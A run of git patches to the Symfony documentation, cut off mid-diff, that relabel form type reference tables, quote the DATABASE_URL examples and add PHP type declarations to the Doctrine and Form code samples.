 +---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 420ab1b59a0..f74016d1a0c 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -57,9 +57,9 @@ manually, but then you should just use the ``ChoiceType`` directly.
 |                           | - `required`_                                                          |
 |                           | - `row_attr`_                                                          |
 +---------------------------+------------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid language.                                        |
+| Default invalid message   | Please select a valid language.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
 +---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index be6dde7e950..bab466d262f 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -56,9 +56,9 @@ manually, but then you should just use the ``ChoiceType`` directly.
 |                           | - `required`_                                                        |
 |                           | - `row_attr`_                                                        |
 +---------------------------+----------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid locale.                                        |
+| Default invalid message   | Please select a valid locale.                                        |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
 +---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
 +---------------------------+----------------------------------------------------------------------+
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index ca7a5aceac7..162d8543b20 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -41,9 +41,9 @@ how the input and output of the data is handled.
 |                           | - `required`_                                                       |
 |                           | - `row_attr`_                                                       |
 +---------------------------+---------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid money amount.                                  |
+| Default invalid message   | Please enter a valid money amount.                                  |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
 +---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                       |
 +---------------------------+---------------------------------------------------------------------+
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 319c84b951e..99d80628d33 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -37,9 +37,9 @@ that you want to use for your number.
 |                           | - `required`_                                                        |
 |                           | - `row_attr`_                                                        |
 +---------------------------+----------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a number.                                               |
+| Default invalid message   | Please enter a number.                                               |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
 +---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 10b38a5ac8b..18be51b396f 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -29,9 +29,9 @@ The ``PasswordType`` field renders an input password text box.
 |                           | - `required`_                                                          |
 |                           | - `row_attr`_                                                          |
 +---------------------------+------------------------------------------------------------------------+
-| Default `invalid_message` | The password is invalid.                                               |
+| Default invalid message   | The password is invalid.                                               |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
 +---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                          |
 +---------------------------+------------------------------------------------------------------------+
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 3dd47e1d320..36ffdcc1e1b 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -41,9 +41,9 @@ the input.
 |                           | - `required`_                                                         |
 |                           | - `row_attr`_                                                         |
 +---------------------------+-----------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a percentage value.                                      |
+| Default invalid message   | Please enter a percentage value.                                      |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                   |
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
 +---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index 579dab0bc1d..93fbe3ecfd9 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
@@ -40,9 +40,9 @@ If you want to have a boolean field, use :doc:`CheckboxType </reference/forms/ty
 |                           | - `required`_                                                       |
 |                           | - `row_attr`_                                                       |
 +---------------------------+---------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid option.                                       |
+| Default invalid message   | Please select a valid option.                                       |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
 +---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
 +---------------------------+---------------------------------------------------------------------+
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index ab3a0d15859..f8284f1b7eb 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -28,9 +28,9 @@ The ``RangeType`` field is a slider that is rendered using the HTML5
 |                           | - `row_attr`_                                                       |
 |                           | - `trim`_                                                           |
 +---------------------------+---------------------------------------------------------------------+
-| Default `invalid_message` | Please choose a valid range.                                        |
+| Default invalid message   | Please choose a valid range.                                        |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
 +---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index 7a9f6d9d9be..8c36c64ddd5 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -32,9 +32,9 @@ accuracy.
 |                           | - `mapped`_                                                            |
 |                           | - `row_attr`_                                                          |
 +---------------------------+------------------------------------------------------------------------+
-| Default `invalid_message` | The values do not match.                                               |
+| Default invalid message   | The values do not match.                                               |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
 +---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
 +---------------------------+------------------------------------------------------------------------+
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index f9c53733872..d6dceeb0264 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -30,9 +30,9 @@ Read about the input search field at `DiveIntoHTML5.info`_
 |                           | - `row_attr`_                                                        |
 |                           | - `trim`_                                                            |
 +---------------------------+----------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid search term.                                    |
+| Default invalid message   | Please enter a valid search term.                                    |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
 +---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                        |
 +---------------------------+----------------------------------------------------------------------+
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index fc45434bc4e..19847431dd3 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -35,9 +35,9 @@ to input phone numbers.
 |                           | - `row_attr`_                                                     |
 |                           | - `trim`_                                                         |
 +---------------------------+-------------------------------------------------------------------+
-| Default `invalid_message` | Please provide a valid phone number.                              |
+| Default invalid message   | Please provide a valid phone number.                              |
 +---------------------------+-------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                               |
+| Legacy invalid message    | The value {{ value }} is not valid.                               |
 +---------------------------+-------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
 +---------------------------+-------------------------------------------------------------------+
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 08c3efb77f4..cac168d569e 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -48,9 +48,9 @@ stored as a ``DateTime`` object, a string, a timestamp or an array.
 |                           | - `mapped`_                                                                 |
 |                           | - `row_attr`_                                                               |
 +---------------------------+-----------------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid time.                                                  |
+| Default invalid message   | Please enter a valid time.                                                  |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                         |
+| Legacy invalid message    | The value {{ value }} is not valid.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | FormType                                                                    |
 +---------------------------+-----------------------------------------------------------------------------+
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 64e17890de8..987f26c9036 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -50,9 +50,9 @@ manually, but then you should just use the ``ChoiceType`` directly.
 |                           | - `required`_                                                          |
 |                           | - `row_attr`_                                                          |
 +---------------------------+------------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid timezone.                                        |
+| Default invalid message   | Please select a valid timezone.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
 +---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index e5f782ce088..13f425f1d70 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -32,9 +32,9 @@ have a protocol.
 |                           | - `row_attr`_                                                     |
 |                           | - `trim`_                                                         |
 +---------------------------+-------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid URL.                                         |
+| Default invalid message   | Please enter a valid URL.                                         |
 +---------------------------+-------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                               |
+| Legacy invalid message    | The value {{ value }} is not valid.                               |
 +---------------------------+-------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
 +---------------------------+-------------------------------------------------------------------+
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index eb526c160af..99762f803e3 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -39,9 +39,9 @@ the data can be a string or an array.
 |                           | - `mapped`_                                                        |
 |                           | - `row_attr`_                                                      |
 +---------------------------+--------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid week.                                         |
+| Default invalid message   | Please enter a valid week.                                         |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                |
+| Legacy invalid message    | The value {{ value }} is not valid.                                |
 +---------------------------+--------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
 +---------------------------+--------------------------------------------------------------------+

From 3d274edd4b86473e7eb7275c89b0731fb6067294 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Nov 2020 16:13:49 +0100
Subject: [PATCH 1511/7107] Restore the quotes wraping the DATABASE_URL value

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 365626ceacd..8c9550f64ca 100644
--- a/testing.rst
+++ b/testing.rst
@@ -990,7 +990,7 @@ need in your ``.env.test`` file:
 .. code-block:: text
 
     # .env.test
-    DATABASE_URL=mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7"
 
     # use SQLITE
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"

From ef0b3fb0dcd74caea20fae38896f87f010e1f3fc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Nov 2020 16:39:17 +0100
Subject: [PATCH 1512/7107] Tweak

---
 doctrine/dbal.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 4b9f26d3f7b..3ddb98d837f 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -35,7 +35,7 @@ Then configure the ``DATABASE_URL`` environment variable in ``.env``:
     # .env (or override DATABASE_URL in .env.local to avoid committing your changes)
 
     # customize this line!
-    DATABASE_URL=mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
 
 Further things can be configured in ``config/packages/doctrine.yaml`` - see
 :ref:`reference-dbal-configuration`. Remove the ``orm`` key in that file

From 90c83b214c39c26633c3f7a0d4b8541bef6c6a26 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 8 Nov 2020 14:35:47 +0100
Subject: [PATCH 1513/7107] Added PHP types to the Doctrine related articles

---
 doctrine.rst                          | 193 ++++++++++++++++----------
 doctrine/associations.rst             |  81 +++++++----
 doctrine/dbal.rst                     |   4 +-
 doctrine/events.rst                   |  16 +--
 doctrine/multiple_entity_managers.rst |   9 +-
 doctrine/resolve_target_entity.rst    |   5 +-
 6 files changed, 186 insertions(+), 122 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 21b14c2ae4c..8226bf22700 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -51,7 +51,7 @@ The database connection information is stored as an environment variable called
 
     # to use sqlite:
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
-    
+
     # to use postgresql:
     # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=11&charset=utf8"
 
@@ -506,46 +506,60 @@ Fetching an object back out of the database is even easier. Suppose you want to
 be able to go to ``/product/1`` to see your new product::
 
     // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use App\Entity\Product;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    /**
-     * @Route("/product/{id}", name="product_show")
-     */
-    public function show($id)
+    class ProductController extends AbstractController
     {
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->find($id);
-
-        if (!$product) {
-            throw $this->createNotFoundException(
-                'No product found for id '.$id
-            );
-        }
+        /**
+         * @Route("/product/{id}", name="product_show")
+         */
+        public function show(int $id): Response
+        {
+            $product = $this->getDoctrine()
+                ->getRepository(Product::class)
+                ->find($id);
+
+            if (!$product) {
+                throw $this->createNotFoundException(
+                    'No product found for id '.$id
+                );
+            }
 
-        return new Response('Check out this great product: '.$product->getName());
+            return new Response('Check out this great product: '.$product->getName());
 
-        // or render a template
-        // in the template, print things with {{ product.name }}
-        // return $this->render('product/show.html.twig', ['product' => $product]);
+            // or render a template
+            // in the template, print things with {{ product.name }}
+            // return $this->render('product/show.html.twig', ['product' => $product]);
+        }
     }
 
 Another possibility is to use the ``ProductRepository`` using Symfony's autowiring
 and injected by the dependency injection container::
 
     // src/Controller/ProductController.php
-    // ...
+    namespace App\Controller;
+
+    use App\Entity\Product;
     use App\Repository\ProductRepository;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
 
-    /**
-     * @Route("/product/{id}", name="product_show")
-     */
-    public function show($id, ProductRepository $productRepository)
+    class ProductController extends AbstractController
     {
-        $product = $productRepository
-            ->find($id);
+        /**
+         * @Route("/product/{id}", name="product_show")
+         */
+        public function show(int $id, ProductRepository $productRepository): Response
+        {
+            $product = $productRepository
+                ->find($id);
 
-        // ...
+            // ...
+        }
     }
 
 Try it out!
@@ -611,15 +625,23 @@ for you automatically! First, install the bundle in case you don't have it:
 Now, simplify your controller::
 
     // src/Controller/ProductController.php
+    namespace App\Controller;
+
     use App\Entity\Product;
+    use App\Repository\ProductRepository;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
 
-    /**
-     * @Route("/product/{id}", name="product_show")
-     */
-    public function show(Product $product)
+    class ProductController extends AbstractController
     {
-        // use the Product!
-        // ...
+        /**
+         * @Route("/product/{id}", name="product_show")
+         */
+        public function show(Product $product): Response
+        {
+            // use the Product!
+            // ...
+        }
     }
 
 That's it! The bundle uses the ``{id}`` from the route to query for the ``Product``
@@ -633,26 +655,37 @@ Updating an Object
 Once you've fetched an object from Doctrine, you interact with it the same as
 with any PHP model::
 
-    /**
-     * @Route("/product/edit/{id}")
-     */
-    public function update($id)
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use App\Entity\Product;
+    use App\Repository\ProductRepository;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
+
+    class ProductController extends AbstractController
     {
-        $entityManager = $this->getDoctrine()->getManager();
-        $product = $entityManager->getRepository(Product::class)->find($id);
+        /**
+         * @Route("/product/edit/{id}")
+         */
+        public function update(int $id): Response
+        {
+            $entityManager = $this->getDoctrine()->getManager();
+            $product = $entityManager->getRepository(Product::class)->find($id);
 
-        if (!$product) {
-            throw $this->createNotFoundException(
-                'No product found for id '.$id
-            );
-        }
+            if (!$product) {
+                throw $this->createNotFoundException(
+                    'No product found for id '.$id
+                );
+            }
 
-        $product->setName('New product name!');
-        $entityManager->flush();
+            $product->setName('New product name!');
+            $entityManager->flush();
 
-        return $this->redirectToRoute('product_show', [
-            'id' => $product->getId()
-        ]);
+            return $this->redirectToRoute('product_show', [
+                'id' => $product->getId()
+            ]);
+        }
     }
 
 Using Doctrine to edit an existing product consists of three steps:
@@ -728,7 +761,7 @@ a new method for this to your repository::
         /**
          * @return Product[]
          */
-        public function findAllGreaterThanPrice($price): array
+        public function findAllGreaterThanPrice(int $price): array
         {
             $entityManager = $this->getEntityManager();
 
@@ -773,25 +806,28 @@ based on PHP conditions)::
     // src/Repository/ProductRepository.php
 
     // ...
-    public function findAllGreaterThanPrice($price, $includeUnavailableProducts = false): array
+    class ProductRepository extends ServiceEntityRepository
     {
-        // automatically knows to select Products
-        // the "p" is an alias you'll use in the rest of the query
-        $qb = $this->createQueryBuilder('p')
-            ->where('p.price > :price')
-            ->setParameter('price', $price)
-            ->orderBy('p.price', 'ASC');
-
-        if (!$includeUnavailableProducts) {
-            $qb->andWhere('p.available = TRUE');
-        }
+        public function findAllGreaterThanPrice(int $price, bool $includeUnavailableProducts = false): array
+        {
+            // automatically knows to select Products
+            // the "p" is an alias you'll use in the rest of the query
+            $qb = $this->createQueryBuilder('p')
+                ->where('p.price > :price')
+                ->setParameter('price', $price)
+                ->orderBy('p.price', 'ASC');
+
+            if (!$includeUnavailableProducts) {
+                $qb->andWhere('p.available = TRUE');
+            }
 
-        $query = $qb->getQuery();
+            $query = $qb->getQuery();
 
-        return $query->execute();
+            return $query->execute();
 
-        // to get just one result:
-        // $product = $query->setMaxResults(1)->getOneOrNullResult();
+            // to get just one result:
+            // $product = $query->setMaxResults(1)->getOneOrNullResult();
+        }
     }
 
 Querying with SQL
@@ -802,20 +838,23 @@ In addition, you can query directly with SQL if you need to::
     // src/Repository/ProductRepository.php
 
     // ...
-    public function findAllGreaterThanPrice($price): array
+    class ProductRepository extends ServiceEntityRepository
     {
-        $conn = $this->getEntityManager()->getConnection();
-
-        $sql = '
-            SELECT * FROM product p
-            WHERE p.price > :price
-            ORDER BY p.price ASC
-            ';
-        $stmt = $conn->prepare($sql);
-        $stmt->execute(['price' => $price]);
-
-        // returns an array of arrays (i.e. a raw data set)
-        return $stmt->fetchAllAssociative();
+        public function findAllGreaterThanPrice(int $price): array
+        {
+            $conn = $this->getEntityManager()->getConnection();
+
+            $sql = '
+                SELECT * FROM product p
+                WHERE p.price > :price
+                ORDER BY p.price ASC
+                ';
+            $stmt = $conn->prepare($sql);
+            $stmt->execute(['price' => $price]);
+
+            // returns an array of arrays (i.e. a raw data set)
+            return $stmt->fetchAllAssociative();
+        }
     }
 
 With SQL, you will get back raw data, not objects (unless you use the `NativeQuery`_
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 8bdddab536b..4a2fafb6467 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -327,7 +327,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
         /**
          * @Route("/product", name="product")
          */
-        public function index()
+        public function index(): Response
         {
             $category = new Category();
             $category->setName('Computer Peripherals');
@@ -378,20 +378,26 @@ When you need to fetch associated objects, your workflow looks like it did
 before. First, fetch a ``$product`` object and then access its related
 ``Category`` object::
 
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
     use App\Entity\Product;
     // ...
 
-    public function show($id)
+    class ProductController extends AbstractController
     {
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->find($id);
+        public function show(int $id): Response
+        {
+            $product = $this->getDoctrine()
+                ->getRepository(Product::class)
+                ->find($id);
 
-        // ...
+            // ...
 
-        $categoryName = $product->getCategory()->getName();
+            $categoryName = $product->getCategory()->getName();
 
-        // ...
+            // ...
+        }
     }
 
 In this example, you first query for a ``Product`` object based on the product's
@@ -411,15 +417,21 @@ the category (i.e. it's "lazily loaded").
 Because we mapped the optional ``OneToMany`` side, you can also query in the other
 direction::
 
-    public function showProducts($id)
+    // src/Controller/ProductController.php
+
+    // ...
+    class ProductController extends AbstractController
     {
-        $category = $this->getDoctrine()
-            ->getRepository(Category::class)
-            ->find($id);
+        public function showProducts(int $id): Response
+        {
+            $category = $this->getDoctrine()
+                ->getRepository(Category::class)
+                ->find($id);
 
-        $products = $category->getProducts();
+            $products = $category->getProducts();
 
-        // ...
+            // ...
+        }
     }
 
 In this case, the same things occur: you first query for a single ``Category``
@@ -475,18 +487,23 @@ can avoid the second query by issuing a join in the original query. Add the
 following method to the ``ProductRepository`` class::
 
     // src/Repository/ProductRepository.php
-    public function findOneByIdJoinedToCategory($productId)
+
+    // ...
+    class ProductRepository extends ServiceEntityRepository
     {
-        $entityManager = $this->getEntityManager();
+        public function findOneByIdJoinedToCategory(int $productId): ?Product
+        {
+            $entityManager = $this->getEntityManager();
 
-        $query = $entityManager->createQuery(
-            'SELECT p, c
-            FROM App\Entity\Product p
-            INNER JOIN p.category c
-            WHERE p.id = :id'
-        )->setParameter('id', $productId);
+            $query = $entityManager->createQuery(
+                'SELECT p, c
+                FROM App\Entity\Product p
+                INNER JOIN p.category c
+                WHERE p.id = :id'
+            )->setParameter('id', $productId);
 
-        return $query->getOneOrNullResult();
+            return $query->getOneOrNullResult();
+        }
     }
 
 This will *still* return an array of ``Product`` objects. But now, when you call
@@ -495,15 +512,21 @@ This will *still* return an array of ``Product`` objects. But now, when you call
 Now, you can use this method in your controller to query for a ``Product``
 object and its related ``Category`` in one query::
 
-    public function show($id)
+    // src/Controller/ProductController.php
+
+    // ...
+    class ProductController extends AbstractController
     {
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->findOneByIdJoinedToCategory($id);
+        public function show(int $id): Response
+        {
+            $product = $this->getDoctrine()
+                ->getRepository(Product::class)
+                ->findOneByIdJoinedToCategory($id);
 
-        $category = $product->getCategory();
+            $category = $product->getCategory();
 
-        // ...
+            // ...
+        }
     }
 
 .. _associations-inverse-side:
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 3ddb98d837f..80c145d3d6a 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -48,10 +48,12 @@ object::
     namespace App\Controller;
 
     use Doctrine\DBAL\Driver\Connection;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
 
     class UserController extends AbstractController
     {
-        public function index(Connection $connection)
+        public function index(Connection $connection): Response
         {
             $users = $connection->fetchAll('SELECT * FROM users');
 
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 1ce0bfa8ac0..309d10a7e12 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -74,7 +74,7 @@ define a callback for the ``prePersist`` Doctrine event:
             /**
              * @ORM\PrePersist
              */
-            public function setCreatedAtValue()
+            public function setCreatedAtValue(): void
             {
                 $this->createdAt = new \DateTime();
             }
@@ -132,7 +132,7 @@ do so, define a listener for the ``postPersist`` Doctrine event::
     {
         // the listener methods receive an argument which gives you access to
         // both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args)
+        public function postPersist(LifecycleEventArgs $args): void
         {
             $entity = $args->getObject();
 
@@ -241,7 +241,7 @@ define a listener for the ``postUpdate`` Doctrine event::
     {
         // the entity listener methods receive two arguments:
         // the entity instance and the lifecycle event
-        public function postUpdate(User $user, LifecycleEventArgs $event)
+        public function postUpdate(User $user, LifecycleEventArgs $event): void
         {
             // ... do something to notify the changes
         }
@@ -365,7 +365,7 @@ want to log all the database activity. To do so, define a subscriber for the
     {
         // this method can only return the event names; you cannot define a
         // custom method name to execute when each event triggers
-        public function getSubscribedEvents()
+        public function getSubscribedEvents(): array
         {
             return [
                 Events::postPersist,
@@ -377,22 +377,22 @@ want to log all the database activity. To do so, define a subscriber for the
         // callback methods must be called exactly like the events they listen to;
         // they receive an argument of type LifecycleEventArgs, which gives you access
         // to both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args)
+        public function postPersist(LifecycleEventArgs $args): void
         {
             $this->logActivity('persist', $args);
         }
 
-        public function postRemove(LifecycleEventArgs $args)
+        public function postRemove(LifecycleEventArgs $args): void
         {
             $this->logActivity('remove', $args);
         }
 
-        public function postUpdate(LifecycleEventArgs $args)
+        public function postUpdate(LifecycleEventArgs $args): void
         {
             $this->logActivity('update', $args);
         }
 
-        private function logActivity(string $action, LifecycleEventArgs $args)
+        private function logActivity(string $action, LifecycleEventArgs $args): void
         {
             $entity = $args->getObject();
 
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index faffc480877..ba3475dbfbc 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -234,12 +234,11 @@ the default entity manager (i.e. ``default``) is returned::
     namespace App\Controller;
 
     // ...
-
     use Doctrine\ORM\EntityManagerInterface;
 
     class UserController extends AbstractController
     {
-        public function index(EntityManagerInterface $entityManager)
+        public function index(EntityManagerInterface $entityManager): Response
         {
             // These methods also return the default entity manager, but it's preferred
             // to get it by injecting EntityManagerInterface in the action method
@@ -250,6 +249,8 @@ the default entity manager (i.e. ``default``) is returned::
             // Both of these return the "customer" entity manager
             $customerEntityManager = $this->getDoctrine()->getManager('customer');
             $customerEntityManager = $this->get('doctrine.orm.customer_entity_manager');
+
+            // ...
         }
     }
 
@@ -268,7 +269,7 @@ The same applies to repository calls::
 
     class UserController extends AbstractController
     {
-        public function index()
+        public function index(): Response
         {
             // Retrieves a repository managed by the "default" em
             $products = $this->getDoctrine()
@@ -287,6 +288,8 @@ The same applies to repository calls::
                 ->getRepository(Customer::class, 'customer')
                 ->findAll()
             ;
+
+            // ...
         }
     }
 
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 36038fd9f3c..765f5d187ce 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -96,10 +96,7 @@ An InvoiceSubjectInterface::
         // will need to access on the subject so that you can
         // be sure that you have access to those methods.
 
-        /**
-         * @return string
-         */
-        public function getName();
+        public function getName(): string;
     }
 
 Next, you need to configure the listener, which tells the DoctrineBundle

From aec1016d94db1de37eaedb7f8567046168d0805a Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 8 Nov 2020 14:57:22 +0100
Subject: [PATCH 1514/7107] Added PHP types to the Form related articles

---
 form/create_custom_field_type.rst          |  18 ++--
 form/create_form_type_extension.rst        |   8 +-
 form/data_based_validation.rst             |   6 +-
 form/data_mappers.rst                      |   8 +-
 form/data_transformers.rst                 |  28 +++---
 form/direct_submit.rst                     |   3 +-
 form/disabling_validation.rst              |   2 +-
 form/dynamic_form_modification.rst         |  31 ++++---
 form/embedded.rst                          |  10 +-
 form/events.rst                            |  10 +-
 form/form_collections.rst                  | 102 +++++++++++----------
 form/form_themes.rst                       |  10 +-
 form/inherit_data_option.rst               |  12 +--
 form/type_guesser.rst                      |  14 +--
 form/use_empty_data.rst                    |   6 +-
 form/validation_group_service_resolver.rst |   8 +-
 form/validation_groups.rst                 |   2 +-
 form/without_class.rst                     |  43 +++++----
 forms.rst                                  | 100 +++++++++++---------
 19 files changed, 224 insertions(+), 197 deletions(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 58e265fd2ad..59816006041 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -38,7 +38,7 @@ By convention they are stored in the ``src/Form/Type/`` directory::
 
     class ShippingType extends AbstractType
     {
-        public function configureOptions(OptionsResolver $resolver)
